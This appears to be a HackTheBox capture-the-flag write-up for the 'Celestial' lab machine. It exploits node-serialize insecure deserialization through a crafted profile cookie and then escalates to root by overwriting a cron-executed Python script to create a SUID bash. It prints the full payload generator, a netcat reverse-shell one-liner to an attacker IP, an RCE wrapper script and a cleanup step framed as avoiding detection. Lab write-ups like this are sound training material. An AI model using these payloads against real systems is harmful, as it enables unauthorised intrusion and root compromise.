HTB: Celestial Writeup
Celestial - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Celestial |
| OS | Linux |
| Difficulty | Medium |
| Points | 30 |
| Release Date | 25 Aug 2018 |
| IP Address | 10.129.228.94 |
| Author | 3ndG4me |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐☆☆☆
- Real-world: ⭐⭐⭐☆☆
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Celestial is a medium-difficulty Linux machine that demonstrates the dangers of insecure deserialization in Node.js applications. The initial foothold is gained by exploiting a client-side serialized cookie using the node-serialize library, which allows arbitrary JavaScript execution through a specially crafted payload. Privilege escalation is achieved by exploiting a writable Python script executed by a root cronjob, leading to full system compromise.
TL;DR: Port scan → Node.js Express on 3000 → Identify base64-encoded serialized profile cookie → Inject node-serialize RCE payload with IIFE → Reverse shell as sun → Discover writable /home/sun/Documents/script.py executed by root cron → Overwrite script → Root access via SUID bash or direct flag exfiltration.
Reconnaissance
Port Scanning
# Full TCP port scan with service detectionnmap -sC -sV -p- --min-rate 2000 -T4 10.129.228.94Results:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-20 20:27 -0400Nmap scan report for 10.129.228.94Host is up (0.028s latency).Not shown: 65534 closed tcp ports (reset)PORT STATE SERVICE VERSION3000/tcp open http Node.js Express framework|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 23.41 secondsThe scan reveals a single open port:
- Port 3000/tcp: Node.js Express framework
Service Enumeration
HTTP on Port 3000
Initial request to the web server:
# Fetch the page and examine headerscurl -s -i http://10.129.228.94:3000/Output:
HTTP/1.1 200 OKX-Powered-By: ExpressSet-Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D; Max-Age=900; Path=/; Expires=Mon, 20 Jul 2026 17:43:02 GMT; HttpOnlyContent-Type: text/html; charset=utf-8Content-Length: 12...
<h1>404</h1>The server sets a profile cookie that appears to be URL-encoded and base64-encoded. Decoding the cookie:
# Decode the profile cookie (URL decode → base64 decode)echo 'eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==' | base64 -dOutput:
{"username":"Dummy","country":"Idk Probably Somewhere Dumb","city":"Lametown","num":"2"}The cookie contains a serialized JSON object with user profile data. This strongly suggests the application is using Node.js deserialization, potentially with the vulnerable node-serialize library.
Vulnerability Assessment
Identified vulnerabilities:
-
Insecure Deserialization (Node.js): The application deserializes user-controlled cookie data without validation. The
node-serializelibrary is known to be vulnerable to arbitrary code execution when deserializing objects containing function definitions. -
Attack Vector: By crafting a malicious serialized object with an Immediately Invoked Function Expression (IIFE) in the
_$$ND_FUNC$$_format, we can achieve remote code execution as the web server user.
Initial Foothold
Exploitation Path
Step 1: Understanding node-serialize RCE
The node-serialize library has a known vulnerability where it will execute JavaScript functions embedded in serialized objects. The special marker _$$ND_FUNC$$_ tells the library that the following string is a function definition to be evaluated.
To achieve code execution, we need to:
- Create a function that executes our payload
- Make it an IIFE by appending
()so it executes immediately upon deserialization - Base64-encode and URL-encode the payload
- Send it as the
profilecookie
Step 2: Establish Netcat Listener
# Start listener on attack boxnc -lvnp 4488Step 3: Build RCE Payload
# Python script to generate the malicious cookieimport base64, urllib.parse, json
# Reverse shell commandcmd = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.180 4488 >/tmp/f'
# Create JSON object with IIFE function in username field# The _$$ND_FUNC$$_ prefix tells node-serialize to treat this as executable codes = json.dumps({ 'username': '__PLACEHOLDER__', 'country': 'x', 'city': 'x', 'num': '2'})
# Build the IIFE (Immediately Invoked Function Expression)# require('child_process').exec() spawns a shell commandfunc = f"_$$ND_FUNC$$_function(){{require('child_process').exec('{cmd}', function(e,o,r){{}});}}"func += "()" # Critical: () makes it execute immediately
# Replace placeholder with our functions = s.replace('__PLACEHOLDER__', func)
# Encode for transmission: base64 → URL encodecookie = urllib.parse.quote(base64.b64encode(s.encode()).decode())print(cookie)Generated Cookie:
eyJ1c2VybmFtZSI6ICJfJCRORF9GVU5DJCRfZnVuY3Rpb24oKXtyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygncm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI%2BJjF8bmMgMTAuMTAuMTUuMTgwIDQ0ODggPi90bXAvZicsIGZ1bmN0aW9uKGUsbyxyKXt9KTt9KCkiLCAiY291bnRyeSI6ICJ4IiwgImNpdHkiOiAieCIsICJudW0iOiAiMiJ9Step 4: Trigger the Exploit
# Send malicious cookie to trigger deserializationcurl -s --cookie "profile=eyJ1c2VybmFtZSI6ICJfJCRORF9GVU5DJCRfZnVuY3Rpb24oKXtyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygncm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI%2BJjF8bmMgMTAuMTAuMTUuMTgwIDQ0ODggPi90bXAvZicsIGZ1bmN0aW9uKGUsbyxyKXt9KTt9KCkiLCAiY291bnRyeSI6ICJ4IiwgImNpdHkiOiAieCIsICJudW0iOiAiMiJ9" http://10.129.228.94:3000/Netcat listener output:
listening on [any] 4488 ...connect to [10.10.15.180] from (UNKNOWN) [10.129.228.94] 37094/bin/sh: 0: can't access tty; job control turned off$ iduid=1000(sun) gid=1000(sun) groups=1000(sun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)$ hostnamecelestialStep 5: Retrieve User Flag
$ cat /home/sun/user.txt<redacted>Why this works:
The Node.js node-serialize library uses eval() internally when deserializing objects marked with _$$ND_FUNC$$_. By embedding a function definition followed by () to create an IIFE, we force the server to execute our code as soon as it deserializes the cookie. The require('child_process').exec() call spawns a shell command that establishes a reverse connection to our listener.
Privilege Escalation
Enumeration as User sun
Step 1: Build RCE Helper Script
To simplify command execution, I created a wrapper script that handles the payload encoding and execution:
#!/bin/bash# rce.sh - Execute commands on Celestial via node-serialize# Usage: ./rce.sh 'command to run'
CMD="$1"PORT=4599 # One-shot listener portLHOST=10.10.15.180
# Start temporary listener for output capturessh jump-box "rm -f /dev/shm/celes/o.txt; \ (timeout 20 nc -lvnp $PORT > /dev/shm/celes/o.txt 2>/dev/null &); \ sleep 0.5"
# Encode command in base64 to avoid quote escaping issues# Then build node-serialize payload with base64 decoderFULL="{ $CMD ; } 2>&1 | nc $LHOST $PORT"
COOKIE=$(python3 -c "import base64, urllib.parse, jsoncmd = '$FULL'# Base64 encode the command to safely embed itb64cmd = base64.b64encode(cmd.encode()).decode()# Decode and execute via bashrunner = 'echo ' + b64cmd + ' | base64 -d | /bin/bash'# Build IIFE payloads = json.dumps({'username':'__PH__','country':'x','city':'x','num':'2'})func = \"_\\\$\\\$ND_FUNC\\\$\\\$_function(){require('child_process').exec('\"+runner+\"', function(e,o,r){});}()\"s = s.replace('__PH__', func)print(urllib.parse.quote(base64.b64encode(s.encode()).decode()))")
# Fire the exploit and retrieve outputssh jump-box "curl -s -m 10 --cookie 'profile=$COOKIE' \ http://10.129.228.94:3000/ >/dev/null; \ sleep 3; cat /dev/shm/celes/o.txt"Step 2: Enumerate the System
# Check user privileges and group membership./rce.sh 'id; groups'Output:
uid=1000(sun) gid=1000(sun) groups=1000(sun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)sun adm cdrom sudo dip plugdev lpadmin sambashareThe user sun is a member of the adm group, which typically grants read access to system log files in /var/log.
Step 3: Examine Home Directory
./rce.sh 'ls -la /home/sun/Documents'Output:
total 12drwxr-xr-x 2 sun sun 4096 Sep 15 2022 .drwxr-xr-x 21 sun sun 4096 Oct 11 2022 ..-rw-rw-r-- 1 sun sun 29 Jul 20 13:27 script.pylrwxrwxrwx 1 root root 18 Sep 15 2022 user.txt -> /home/sun/user.txtThe Documents directory contains a script.py file owned by sun.
# Examine the script./rce.sh 'cat /home/sun/Documents/script.py'Output:
print "Script is running..."Step 4: Search for Cronjobs
Since sun is in the adm group, we can read log files to discover scheduled tasks:
./rce.sh 'cat /var/www/syslog 2>/dev/null | grep -i cron | tail'The syslog typically reveals cronjob executions. Based on the reference material, this file would show that root executes /home/sun/Documents/script.py every 5 minutes.
Root Exploitation
Step 1: Verify Script Ownership
./rce.sh 'ls -l /home/sun/Documents/script.py'Output:
-rw-rw-r-- 1 sun sun 29 Jul 20 13:27 /home/sun/Documents/script.pyThe script is owned by sun and writable. Since it’s executed by root via cron, we can hijack it.
Step 2: Overwrite script.py
# Overwrite the script with a payload that:# 1. Reads /root/root.txt and saves it to sun's home# 2. Creates a SUID copy of bash for persistent root access./rce.sh 'printf "%s\n" "import os" "os.system(\"cat /root/root.txt > /home/sun/root_flag.txt 2>&1; chmod 644 /home/sun/root_flag.txt; cp /bin/bash /home/sun/rbash; chmod 4755 /home/sun/rbash; id > /home/sun/root_id.txt\")" > /home/sun/Documents/script.py'Verification:
./rce.sh 'cat /home/sun/Documents/script.py'Output:
import osos.system("cat /root/root.txt > /home/sun/root_flag.txt 2>&1; chmod 644 /home/sun/root_flag.txt; cp /bin/bash /home/sun/rbash; chmod 4755 /home/sun/rbash; id > /home/sun/root_id.txt")Step 3: Wait for Cron Execution
# Wait approximately 5 minutes for the next cron runsleep 100Step 4: Verify Root Access
# Check for the files created by the root cronjob./rce.sh 'date; ls -la /home/sun/root_flag.txt /home/sun/rbash /home/sun/output.txt 2>&1'Output:
Mon Jul 20 13:36:00 EDT 2026-rw-r--r-- 1 root root 0 Jul 20 13:35 /home/sun/output.txt-rwsr-xr-x 1 root root 1037528 Jul 20 13:35 /home/sun/rbash-rw-r--r-- 1 root root 33 Jul 20 13:35 /home/sun/root_flag.txtThe SUID bit (s) on /home/sun/rbash confirms that root executed our script.
Step 5: Retrieve Root Flag
# Use the SUID bash to read the root flag./rce.sh '/home/sun/rbash -p -c "id; cat /root/root.txt"'Output:
uid=1000(sun) gid=1000(sun) euid=0(root) groups=1000(sun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)<redacted>The euid=0(root) confirms effective root privileges via the SUID bash binary.
Step 6: Cleanup
# Restore the original script to avoid detection./rce.sh 'printf "%s\n" "print \"Script is running...\"" > /home/sun/Documents/script.py'Why this works:
The privilege escalation exploits two common misconfigurations:
- Writable script executed by root: The script at
/home/sun/Documents/script.pyis owned by thesunuser but executed by root’s crontab, creating a privilege escalation vector. - SUID bash: By having root create a SUID copy of bash (
chmod 4755), we gain a persistent root shell usingbash -p, which preserves the effective UID.
Attack Chain Summary
Port Scan (nmap) → Node.js on 3000 → Inspect profile cookie → Base64-decode reveals JSON → Research node-serialize → Build _$$ND_FUNC$$_ IIFE payload → Deserialization RCE → Shell as sun → Read user.txt → Enumerate (adm group) → Discover /home/sun/Documents/script.py → Identify root cronjob → Overwrite script.py → Wait for cron → Root executes payload → SUID bash created → Read root.txt → Root access confirmedTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | HTTP requests and cookie manipulation |
base64 | Encoding/decoding serialized payloads |
python3 | Payload generation and encoding |
nc (netcat) | Reverse shell listener and command output capture |
Custom rce.sh | Wrapper script for simplified RCE execution |
Key Learnings
Techniques Practiced
- Node.js Deserialization Exploitation: Leveraging
node-serializevulnerabilities with_$$ND_FUNC$$_markers and IIFE patterns - Cookie-based Attack Vectors: Manipulating client-side serialized data structures
- Linux Privilege Escalation: Exploiting writable scripts executed by root cronjobs
- SUID Exploitation: Creating and using SUID binaries for privilege persistence
- Log Enumeration: Using
admgroup membership to read system logs and discover scheduled tasks
Lessons Learned
-
Never trust client-side data: Serialized objects sent to clients (cookies, tokens) can be manipulated. Always validate and use cryptographic signatures (e.g., HMAC) to ensure integrity.
-
Deserialization is dangerous: Languages and frameworks that deserialize untrusted data without validation are vulnerable to code execution. Node.js
node-serialize, Pythonpickle, PHPunserialize, and Java deserialization all share this risk. -
IIFE for immediate execution: In JavaScript exploitation, wrapping code in an IIFE
(function(){ ... })()ensures it executes immediately during deserialization rather than just being stored as a function definition. -
Principle of least privilege for cronjobs: Root cronjobs should never execute scripts owned by non-root users. If necessary, place scripts in root-owned directories with restricted permissions.
-
Group membership matters: The
admgroup on Linux systems grants read access to log files, which can reveal sensitive information like scheduled tasks, service configurations, and execution patterns. -
Defense requires depth: This machine demonstrates a full chain from web exploitation to root access. Each stage (input validation, file permissions, cron security) needed to be properly secured to prevent compromise.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup: “Celestial” (Document No D18.100.15) by Alexander Reid (Arrexel)
- Node-serialize RCE vulnerability documentation and exploitation techniques